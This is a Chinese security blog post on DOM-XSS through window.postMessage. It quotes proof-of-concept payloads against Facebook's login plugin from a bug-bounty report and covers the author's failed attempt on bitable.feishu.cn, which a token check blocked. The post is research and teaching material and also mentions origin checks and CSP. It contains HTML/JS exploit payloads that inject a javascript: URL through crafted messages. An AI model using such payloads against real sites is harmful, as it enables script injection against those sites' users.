一处自嗨postMessage的dom-xss小记

0x00 介绍 window.postMessage

参考: https://developer.mozilla.org/zh-CN/docs/Web/API/Window/postMessage

window.postMessage() 主要是解决跨源通信的。

从广义上讲,一个窗口可以获得对另一个窗口的引用(比如 targetWindow = window.opener),然后在窗口上调用 targetWindow.postMessage() 方法分发一个 MessageEvent 消息。接收

0x01 常出现的dom-xss 问题

其实就是引入了一个污点。

facebook给过一个2w刀的dom xss赏金——https://vinothkumar.me/20000-facebook-dom-xss/

看一下关键触发代码:

image

这里的i.url是攻击者可控的,就是postmessage传递过去的数据,然后window.open触发,利用javascript伪协议,就可以变成一个xss漏洞。

0x02 postMessage防护

可以参考这篇:https://security.tencent.com/index.php/blog/msg/107

简单来说就是校验orgin.

image

还可以提高利用难度,如设置csp, x-frame-options: DENY

这个意思是禁止所有iframe加载这个网站.

从postMessage dom-xss漏洞利用来看,存在两种方式,一种是iframe, 一种是window.open, 示例如下。这个csp设计

Pop-up method:

1
2
3
4
5
6
7
8
<script>   
var opener = window.open("https://www.facebook.com/v6.0/plugins/login_button.php?app_id=APP_ID&auto_logout_link=false&button_type=continue_with&channel=REDIRECT_URL&container_width=734&locale=en_US&sdk=joey&size=large&use_continue_as=true","opener", "scrollbars=no,resizable=no,status=no,location=no,toolbar=no,menubar=no,width=500,height=1");

setTimeout(function(){
var message = {"xdArbiterHandleMessage":true,"message":{"method":"loginButtonStateInit","params":JSON.stringify({'call':{'id':'123','url':'javascript:alert(document.domain);','size':{'width':10,'height':10},'dims':{'screenX':0,'screenY':23,'outerWidth':1680,'outerHeight':971,'screenWidth':1680}}})},"origin":"ORIGIN"};
opener.postMessage(message, '*');
},'4000');
</script>

Iframe method:

1
2
3
4
5
6
7
8
<script>
function fbFrameLoaded() {
var iframeEl = document.getElementById('fbframe');
var message = {"xdArbiterHandleMessage":true,"message":{"method":"loginButtonStateInit","params":JSON.stringify({'call':{'id':'123','url':'javascript:alert(document.domain);','size':{'width':10,'height':10},'dims':{'screenX':0,'screenY':23,'outerWidth':1680,'outerHeight':971,'screenWidth':1680}}})},"origin":"ORIGIN"};
iframeEl.contentWindow.postMessage(message, '*');
};
</script>
<iframe id="fbframe" src="https://www.facebook.com/v6.0/plugins/login_button.php?app_id=APP_ID&auto_logout_link=false&button_type=continue_with&channel=REDIRECT_URL&container_width=734&locale=en_US&sdk=joey&size=large&use_continue_as=true" onload="fbFrameLoaded(this)"></iframe>

0x03 bitable.feishu.cn站点自嗨dom-xss

  1. 漏洞触发代码,htmlpcindex开头的某个js文件。

image

window.open(a.payload.url, "_blank", "noopener"); a为postmessage可控的数据。

  1. 设置了csp image
  2. payload
1
2
3
4
5
6
7
8

<script>
var opener = window.open("https://bitable.feishu.cn/","opener", "scrollbars=no,resizable=no,status=no,location=no,toolbar=no,menubar=no,width=500,height=1");
setTimeout(function(){
var message = {"xdArbiterHandleMessage":true,"token":"VcX507E54v","payload":{"url":"javascript:alert(document.domain)","target":"_self"},"method":"navigator.change","message":"","origin":"ORIGIN"};
opener.postMessage(message, '*');
},'1000');
</script>

我以为大功告成了,再看才发现还有个token校验,这个token还是个生成的10位随机数。

image

想办法绕过这个随机数。

  1. js伪随机数,不行
  2. 趁token还是undefined的时候触发漏洞,不行,token生成一定在前面

好吧,都行不通,终极白忙活。

假装获取到token,合影留念……

image